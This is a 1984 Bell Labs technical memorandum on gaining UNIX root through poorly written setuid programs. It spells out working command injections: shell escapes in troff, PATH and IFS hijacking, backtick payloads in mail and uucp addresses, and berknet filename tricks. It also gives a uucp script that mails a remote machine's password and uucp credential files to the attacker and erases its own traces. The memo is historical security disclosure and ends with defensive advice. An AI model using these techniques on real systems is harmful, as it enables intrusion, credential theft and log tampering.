AT&T **Bell Laboratories**

Document Cover Sheet

for [✓ Technical Memorandum] ☐ Internal Memorandum ☐ Technical Correspondence

For help in completing this sheet, see ***Instructions for Completing Document Cover Sheet*** *(Form E-9272).*

Title: /bin/sh: the biggest UNIX† security loophole	**Author's Date:** March 2, 1984

Author(s)	Location	Ext.	Dept.
James A. Reeds	MH 2C-357	7066	11217

ABSTRACT

There are lots of ways for "crackers" to become UNIX super users illegally. There are two main classes of loopholes. Class 1 consists of many different arcane difficult to perform special tricks. Class 2 is the one big easy way anyone can use without trouble. This note is about Class 2.

In particular, legitimate UNIX commands (such as *mail*, *troff*, etc.) running with super user privileges, can be made to inadvertently execute UNIX shell commands of the cracker's choice. In practice the careless way many *setuid* programs are written provides the system cracker with the loopholes he needs.

This paper has examples. They might work on your own UNIX system.

Page Arrangement

Pages of Text ..8.. Other Pages .0... Total ..8..

No. Figs. ..0.. No. Tables .0... No. Refs. .0...

AT&T
Bell Laboratories

subject: /bin/sh: the biggest UNIX† security loophole
WPN: 311404-0102
Filing Case - 20878

date: March 2, 1984

from: James A. Reeds

TM# 11217-840302-04

TECHNICAL MEMORANDUM

Introduction.

In the past few weeks I have been experimenting with ways to crack UNIX system security. Rumor has it that it is easy to do, but I wanted to find out for myself. I have had experience on four classes of UNIX machines. These machines are run by intelligent diligent hard working experts with widely varying security management policies. They are:

1 Murray Hill Research machines: those within 100 yards or so of Ken Thompson's office. The people who run these machines invented UNIX and there is nothing worth knowing about UNIX that they do not know.

2 University of California computer science research machines. These are run by the BSD gang. They did not invent UNIX but they try harder.

3 Murray Hill computer center. These machines run the standard AT&T System V version of UNIX.

4 University of California computer center. These machines are run by a branch of the same outfit that runs San Quentin and Soledad prisons. They are faced with a hostile smart tough bunch of undergraduates and thirteen year olds. The computer center trusts no one and computer security is a big thing with them.

Well, none of them are immune to the techniques described here.

Class 1 loopholes.

The first class of security loopholes is the *Mission Impossible* kind of loophole. It includes techniques like:

1 Decrypting entries in the password file.

2 Stealing user's passwords from some other source, for instance, from */dev/mem* or from *core* files.

3 Downloading subversive code into the programmable keys of the intelligent terminal of a system administrator.

4 On terminals on public terminal rooms, running programs that imitate */bin/login*'s prompt banner.

5 Guessing cutesy root passwords. Here is a now defunct root password

```
2b||2b
```

that is conceivably guessable.

6 On one Bell Labs system the password file ended with a line of form

```
::::::
```

to help the super user line up the fields for the entry of the next new user of the system. (Otherwise the poor super user has got to use a line like

† UNIX is a Trademark of AT&T Bell Laboratories.

```
reeds:2aNjHUyu.1o96:940:1::/usr/reeds:/bin/csh
```

as a template which can be a bit hard on the eyes.) This is a loser because the UNIX command

```
su ""
```

thinks there is a user whose name has zero length, who has no password, and whose UID is `atoi("")` which evaluates to zero, the super user's UID. So one is immediately logged in as root.

7 On another Bell Labs machine the special file */dev/kmem* is publically writable. A user process can thus write whatever data it likes in the kernel's address space. By zeroing the right word in the kernel's "u. area" a precess can promote itself to super userhood.

8 In the heart of the machine code of the subroutine used by the UNIX kernel to determine if a user has super-user privileges is a single word machine instruction

```
bne
```

(branch if not equal to zero). If the cracker has access to the console of the computer he can patch that one instruction to

```
nop
```

(no-op) and for the rest of the day ALL users' attempts to wield superuserly powers will succeed. After the cracker has worked his will he could patch the `nop` back to the `bne` it came from.

The common factor is ingenuity. Every experienced UNIX hacker has an example or two of this sort to tell. This list can be prolonged indefinitely and it is very unlikely that UNIX will ever be immune to this kind of loophole.

Class 2.

The other grand class of loopholes is not at all ingenious. It is famous and should not exist and can be eliminated by administrators taking more care. It is simply this: legitimate UNIX commands, running with super user privileges, can inadvertently execute UNIX shell commands of the cracker's choice. In particular, *setuid* programs are often carelessly written.

In his 1979 paper *On the security of UNIX* Dennis Ritchie* warns system administrators to place the correct protection modes on files under their control. In particular he points out that *setuid* programs which are not sufficiently careful of what is fed into them are security losers. However, system administrators and systems programmers blithely ignore Ritchie's warnings, or do not take them seriously enough. Can't happen to me, they think. But ☞**every UNIX system I have ever had an account on has one or more fatal instances of such a loophole.**☜ The rest of this paper explains some cases I have found.

Case 2a: sheer carelessness.

Here is a trivial example. On one of the Murray Hill computer center machines there is a *setuid* program called *mtroff*, a slight variation of *troff*. One of the valid *troff* requests is `.!` as in

```
.! date
```

which interpolates the output of the

* Ritchie is the the inventor of the elegant *setuid* concept, for which a patent was awarded. He now thinks that it makes the problem of providing security to the UNIX operating system very hard to solve. On the other hand administrating a UNIX system *without setuid* programs seems even harder. We seem to be stuck with a very powerful tool that is easy to misuse *and* that we cannot do without.

```
date
```

command into the *troff* text much as

```
.so filename
```

interpolates the contents of UNIX `filename` into the text. If one prepares a one line UNIX file called, say, `alpha`, containing

```
sh </dev/tty >/dev/tty
```

and then types the single command

```
echo ".! sh alpha" | mtroff
```

one becomes super user then and there.

This is a shockingly simple example of Case 2 behavior: a *setuid* program executes an interactive shell without any checking of anything.

Case 2b: shifting the PATH variable.

A year ago the *setuid* program `/bin/mail` on the Murray Hill research machines had the following feature. Letters with *uucp* addresses were handled by another command, */usr/bin/uux*. If you invoked the mailer as

```
mail research!dmr
```

the mail program would invoke the `popen(3)` subroutine essentially (I am suppressing a few trivial details) as follows:

```
p = popen("uux - research!rmail dmr", "w");
```

and `popen()` in turn did

```
execl("/bin/sh", "sh", "-c", "uux - research!rmail dmr", 0);
```

leaving it to the shell to deduce that the instance of `uux` desired was `/usr/bin/uux`.

But, if one had taken care to make a one line executable file `uux` in the current directory, containing

```
sh </dev/tty >/dev/tty
```

and invoked the mailer as

```
PATH=: mail research!dmr
```

then it would be the private `uux` not the public `/usr/bin/uux` that would be executed with super user privileges.

In summary: `popen()` uses the `PATH` variable to decide which program to run. No program running with root privileges should ever call `popen()` to run a command whose name does not begin with a / character.

Shifting the PATH variable, continued.

But even the suggestion of the last section is not far reaching enough. Presenting `popen()` with absolute path names only is not enough to ensure the named commands are the ones actually executed. The cracker can set the shell `IFS` environment variable to a non-standard value and still deceive the shell `popen()` invokes.

Here is an example. Many *setuid* spooling commands need to know their current working directory, and they use code like this:

```
char *
getpwd()
{
        static char pbuf[200];
        FILE *fp, *popen();

        fp = popen("/bin/pwd", "r");
        fscanf(fp, "%s", pbuf);
        pclose(fp);
        return pbuf;
}
```

The cracker can defeat the absolute pathname `/bin/pwd` by the following steps:

1 Put an executable shell script called `bin` in his current directory, containing the text

```
sh </dev/tty >/dev/tty
```

1 Type the shell command

```
IFS=/ uucp
```

which invokes the `uucp` program with `IFS=/` in its environment. The `IFS` variable is a list of characters used as *internal field separators* by the shell. The default list is **space**, **tab**, and **new-line**. The net effect of setting `IFS` to `/` is the same as if the routine `getpw()` had called `popen(" bin pwd", "r")`, which causes the private script to be run.

Now the Case 2b considerations apply.

Case 2c: sucker shell.

The example of Case 2b was fixed by making the call to `popen()` say

```
p = popen("/usr/bin/uux - research!rmail dmr", "w");
```

But there is still a loophole. Working backwards, the cracker wants a super user

```
/bin/sh </dev/tty >/dev/tty
```

to happen. This will happen during execution of this shell command:

```
/usr/bin/uux research!` /bin/sh </dev/tty >/dev/tty `
```

which will be caused by execution of these commands:

```
sneaky=\`/bin/sh </dev/tty >/dev/tty; echo dmr \`
date | mail "research!$sneaky"
```

where the `\` marks protect the ` marks and the enclosed `/bin/sh` command from premature execution. (The `echo dmr` is included to prevent the `mail` command from completing until after the interactive super user `/bin/sh` session is done. If it is left out one will have one's regular shell and the super user shell competing for keyboard input.)

Corollary: UUCP also Insecure

The entire *uucp* system was recently rewritten by R. T. Morris, as described in his report *Another Try at Uucp*, TM 11275-830831-03. One of the reasons for doing this was to plug a security hole caused by the old version.*

Briefly, the old version gave the general public a certain degree of access to the files on any

* I have not had a chance to examine the other main recent rewrite of *uucp*, namely, the one done by Peter Honeyman.

UNIX machine attatched to the *uucp* network. Anyone with a UNIX account at, say, the RAND Corporation, or Lucas Films, or the University of Toronto, etc, could ask the *uucp* system to copy any file from any UNIX machine on the *uucp* net, and unless the file was read protected against users on its own machine, it would be copied to the initiator of the copy request. This meant that in effect, all UNIX users in the country had what amounted to a login account on all *uucp* UNIX machines.

This state of affairs prompted R. T. Morris to formulate a security policy for *uucp*, namely, a *uucp* transaction could only copy files *from* the machine of the initiator of the transaction but never *to* the initiator's machine. Thus a *uucp* user could betray his secret data but could not filch someone elses' from a remote machine.

But this policy is not carried out 100%. The new *uucp* scheme makes provision for mailing a success/failure message from the remote machine. Since the UNIX mail scheme has been seen to be a security risk so is the *uucp* scheme.

The following steps illustrate this. (For the detailed theory of *uucp*, see the paper by R. T. Morris.) Let us suppose we are on a machine with *uucp* name *gauss* and we want to obtain the password file, etc, of a machine called *kgbvax* which is known to be on the net, running the new *uucp* software.

First we prepare a file on *gauss*, called, say, `alpha`, as follows:

```
/bin/mail gauss!reeds < /etc/passwd
/bin/mail gauss!reeds < /usr/lib/uucp/L.cmds
/bin/mail gauss!reeds < /usr/lib/uucp/L.sys

/bin/echo reeds
/bin/rm -f /usr/spool/uucppublic/alpha
```

This is the shell script we want to run on the remote machine. When it runs on *kgbvax* it will be stored in `/usr/spool/uucppublic/alpha`, so after mailing the desired secrets to us, this script removes itself, to hinder damage assessment after our raid. (The file `/usr/lib/uucp/L.sys` is an especially juicy prize for the *uucp* cracker because it has the list of machines, phone numbers, and *uucp* passwords that *kgbvax* uses when it talks to other remote machines.) The purpose of the `/bin/echo` command will become shortly.

The next step is to copy our `alpha` file to *kgbvax*, which we do by executing this legitimate *uucp* command:

```
uucp -m alpha kgbvax!~/alpha
```

The `-m` flag means we are to be sent mail when `alpha` gets there OK.

When we get word that `alpha` has arrived on *kgbvax* as planned, we execute it with another *uucp* command. The *uucp* software aims to not allow any interesting commands be remotely executed on *kgbvax*, certainly not the UNIX shell. So we use our `/bin/mail` trick. The *uucp* command we use is:

```
date|uux - -m -a gauss!\`sh</usr/spool/uucppublic/alpha\` kgbvax!rmail /unix
```

Here is what's going on.

1 The remote command we want to execute is `rmail /unix` on *kgbvax*. That is, we want to put some mail in the mailbox `/unix`. This will surely fail because we do not have the needed permissions, and thus an error message will be generated on the remote machine. Our ostensible aim is to run the `rmail` command remotely, but our *true* aim is to generate that error message on the remote machine.

2 The data we supply to the remote `rmail /unix` command is the output of the `date` command executed locally. That the remote command will take local input data is signalled by the single hyphen argument in the

```
uux - ...
```

command.

3 The `-m` flag specifies that we want to get error messages from the remote machine mailed back to us.

4 The rest of the command, the

```
-a gauss!\'sh</usr/spool/uucppublic/alpha\'
```

part is the paydirt. The `-a` flag says that the next argument is how to forward mail to us. Using the same trick we saw with the discussion of Case 2c above, this causes execution of

```
sh < /usr/spool/uucppublic/alpha
```

on *kgbvax*, which is what we were shooting for.

5 The script `alpha` produces as output the text `reeds` so the complicated address

```
gauss!\'sh</usr/spool/uucppublic/alpha\'
```

is evaluated to

```
gauss!reeds
```

and the mail is sent to me, as planned.

Of course in a real raid we would make sure that the script `alpha` removed *uucp*'s log files, so as to make it hard for the folks on *kgbvax* to know what happened to them.

Case 2d: Sucker shell, continued.

Berkeley distributes software for a local area store and forward network called *berknet*, similar to *uucp*. It uses the `system(3)` subroutine to arrange for return of data from remotely executed commands. Thus, for example, when executed on a machine `ucbkim`, *berknet* commands like

```
netcp ucbjade:remfil locfil
```

and

```
net -m ucbjade -r locfil ls
```

make a command like

```
system("net ... -r locfil")
```

be executed on the remote machine `ucbjade` to shunt the output of the remote `cat` or `ls` to file `locfil` on the local machine `ucbkim`.

But as before, one can slip in a funny `locfil`, like `'/tmp/xyz'`, for instance. Thus the *berknet* command

```
netcp ucbjade:anyfile \'/tmp/xyz\'
```

executed on `ucbkim` tricks the *berknet* daemon on `ucbjade` into executing the command

```
/tmp/xyz
```

as super user.

An amusing corollary is that *berknet* checks for the writability of all local return files before submitting the jobs to the remote machine. Hence the user must create subdirectories

and

```
        '/tmp
```

in his home directory. And *berknet* will create a file

```
        xyz'
```

in directory

```
        '/tmp
```

The presence of such funny file names in the file system and in the *berknet* log files can tip off a system administrator that something is amiss, so the careful cracker will remove all such traces as soon as his `/tmp/xyz` program has run.

This cracking method requires an accomplice on the remote machine to set up the remote `/tmp/xyz` file.

It is easy to imagine similar tricks involving filenames containing any of the shell meta characters `;`, `(`, or `)`.

Moral.

Setuid programs (with the sole exception of the *su* command) should not execute shells. Further, they should not execute any program whose name does not begin with a slash. In all cases they should check their arguments *very* carefully. They should not call any of these dangerous subroutines:

```
        execlp
        execvp
        popen
        system
```

The last two of these can (as we saw above) can involve execution of extra shells not intended by the programmer. Each call to any of the above, or to any other form of `exec` should be preceded by a `setuid(getuid())` if at all possible.

The typical UNIX system has too many *setuid* programs. It is, for instance, unnecessary for `/bin/mail` to be *setuid* to root; it suffices to be *setgid* to some dummy user such as `mail`. A general rule, suggested by Rob Pike, is that the *setuid* programs should be exactly those that demand passwords of the user. A corollary is, all *setuid* programs should be invokable only interactively.

Each *setuid* program and each daemon program run by root from `/etc/rc` should be carefully studied to ensure there is no way any trick input could compromise security. This inspection should be extended to all programs executed by *setuid* and root daemon programs, and so on, recursively. The only time an executed program need not be inspected is when an explicit call to `setuid()` has been made by the parent, with a non zero argument, prior to the `exec` call.

I understand that Fred Grampp is writing a program to check the permission modes of certain sensitive files against an official list. Such a program should be augmented by another which verifies that the only *setuid* programs on a given file system are those given on the official list.

Finally, a useful feature of the Berkeley versions of UNIX should be adopted. According to this feature whenever any file is modified in any way it automatically loses any *setuid* or *setgid* attributes it might have had.

Acknowledgements and Warning

In writing this paper I had several discussions with Fred Grampp, Rob Pike, Dennis Ritchie, Peter Weinberger, and Aaron Wyner, for whose help I am very grateful.

Since writing this paper I learned of another paper on a similar subject: *UNIX System Security* by F. T. Grampp and R. H. Morris. Their paper takes a wider view of UNIX system security, considering a much broader range of threats from a more theoretical point of view. This current paper may be view as a how-to-do-it manual illustrating some of the material Grampp and Morris take for granted.

The bugs reported in this paper have been reported to the appropriate system managers, and might well be fixed in the near future.

[illegible]

MH-11217-JAR　　　　　　　　　　James A. Reeds

add

[illegible]